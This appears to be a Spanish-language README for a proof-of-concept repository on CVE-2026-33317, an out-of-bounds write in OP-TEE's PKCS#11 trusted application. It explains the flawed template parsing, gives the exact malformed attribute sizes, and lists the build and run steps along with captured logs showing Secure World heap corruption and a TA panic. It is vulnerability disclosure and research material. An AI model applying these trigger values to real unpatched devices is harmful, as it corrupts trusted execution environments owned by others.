
Prueba de concepto para CVE-2026-33317, una escritura fuera de límites en OP-TEE PKCS#11 TA, que demuestra la corrupción del montón del Secure World mediante una plantilla de atributos malformada.
Este repositorio contiene la prueba de concepto del Mundo Normal, notas de reproducción y registros capturados para CVE-2026-33317 / GHSA-8cqw-mg7v-c9p9.
El aviso oficial de OP-TEE describe una validación faltante en
entry_get_attribute_value() para PKCS11_CMD_GET_ATTRIBUTE_VALUE. El error puede
causar lecturas fuera de los límites del montículo de la TA de PKCS#11 y, con una
plantilla de atributos malformada, escrituras más allá del búfer temporal de la plantilla.
Esta PoC apunta al caso de escritura fuera de los límites y demuestra la corrupción
del montículo del Mundo Seguro en la TA de PKCS#11.
CVE-2026-33317>= 3.13.04.11 y posteriores8.7 AltaCWE-125, CWE-787Úselo únicamente en un laboratorio local u otro entorno donde esté autorizado a probar OP-TEE.
La copia de trabajo local desde la que se preparó este README era un espacio de
trabajo aplanado de OP-TEE QEMUv8. El directorio .repo y todos los metadatos de
git (archivos/directorios .git) se eliminaron, por lo que ese archivo local ya no
es utilizable con repo sync ni con comandos normales de historial de git.
El repositorio de GitHub excluye intencionalmente los árboles de código fuente de
OP-TEE/QEMU, las cadenas de herramientas y los resultados de compilación, que son
voluminosos. Recreelos a partir de qemu-v8-setup.md, o copie los archivos de la
PoC en una raíz de compilación qemu_v8 de OP-TEE existente, antes de ejecutar la
reproducción automatizada de QEMU desde un clon nuevo.
Archivos importantes de nivel superior:
El archivo local preparado también tenía directorios de código fuente/compilación
como optee_os, optee_client, qemu, linux, trusted-firmware-a, u-boot,
buildroot, out-br y toolchains; estos se ignoran para la publicación.
En el árbol vulnerable de optee_os, ta/pkcs11/src/object.c itera sobre una
plantilla de atributos serializada proporcionada por el cliente:
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;
...
data_ptr = cli_head.size ? cli_ref->data : NULL;
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
El bucle no demuestra que cada cabecera de atributo y su área de datos estén completamente dentro de la plantilla asignada. La PoC envía:
attrs_size = 8, exactamente una pkcs11_attribute_head y sin bytes de datos.attrs_count = 1.cli_head.id = CKA_LABEL.cli_head.size = 16, que coincide con la etiqueta de 16 bytes del objeto creado.Eso crea una asignación de plantilla de 16 bytes:
sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16
cli_ref->data apunta entonces a template + 16, exactamente un byte más allá del
final de la asignación. get_attribute() en ta/pkcs11/src/attributes.c ve que el
tamaño proporcionado por el llamador es suficientemente grande y copia la etiqueta
de 16 bytes a ese puntero fuera de los límites, corrompiendo el montículo de la TA
de PKCS#11.
Requisitos previos utilizados por el espacio de trabajo QEMUv8 preparado:
expectqemu_v8 de OP-TEE con resultados de compilación, cadenas
de herramientas y binario de QEMU distribuidos como el archivo local descrito en
qemu-v8-setup.mdCompile la PoC:
./build_poc.sh
Resultado de compilación esperado:
Built: out/bin/c01_poc
Ejecute la reproducción automatizada de QEMUv8:
./run_c01.sh
El script contenedor verifica estos archivos preparados antes de arrancar:
out/bin/bl1.binout/bin/Imageout/bin/rootfs.cpio.gzout/bin/c01_pocSi faltan los artefactos de compilación, primero recreé/compile el espacio de
trabajo de OP-TEE y luego vuelva a ejecutar ./build_poc.sh.
El registro del Mundo Normal debería mostrar la solicitud manipulada:
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
El registro del Mundo Seguro debería contener la aserción del asignador y el pánico de la TA:
E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
Los registros capturados de una ejecución exitosa ya están presentes en:
out/bin/c01_nw.logout/bin/c01_sw.logc01_poc.c invoca el UUID de la TA de PKCS#11
fd02c9da-306c-48c7-a49c-bbd827ae86ee mediante libteec:
CKA_LABEL = "AAAAAAAAAAAAAAAA".CMD_GET_ATTRIBUTE_VALUE con attrs_size = 8
y cli_head.size = 16.La primera solicitud maliciosa es suficiente para corromper los metadatos del montículo. La TA entonces entra en pánico cuando el asignador bget de OP-TEE detecta los metadatos de bloque corruptos.
run_c01.sh comparte out/bin con el invitado a través de virtio-9p y escribe
los registros de vuelta en el mismo directorio.out/bin deberían apuntar a artefactos dentro de ese archivo. El repositorio de
GitHub publicado solo rastrea los archivos out/bin/c01_*.log capturados.C-01-reproduction.md documenta un enfoque anterior con el entorno ASAN para
x86. La PoC ejecutable en esta carpeta es la PoC TEEC de QEMUv8: c01_poc.c.| Ruta | Propósito |
|---|
c01_poc.c | PoC del Mundo Normal para AArch64 que usa llamadas directas a libteec |
build_poc.sh | Compila de forma cruzada c01_poc.c en out/bin/c01_poc |
run_c01.sh | Arranca QEMUv8 y ejecuta la PoC mediante expect |
c01_check.exp | Automatiza el inicio de sesión del invitado, el montaje virtio-9p y la ejecución de la PoC |
out/bin/c01_nw.log | Registro de reproducción del Mundo Normal capturado |
out/bin/c01_sw.log | Registro del Mundo Seguro capturado con el pánico de la TA de PKCS#11 |
reproduction-log.md | Notas completas de reproducción en QEMUv8 |
qemu-v8-setup.md | Notas de configuración y validación de referencia de OP-TEE QEMUv8 |
C-01-reproduction.md | Notas anteriores del entorno ASAN; no es la PoC ejecutable principal en esta carpeta |
AGENTS.md | Notas de mantenimiento para futuros agentes de IA/código |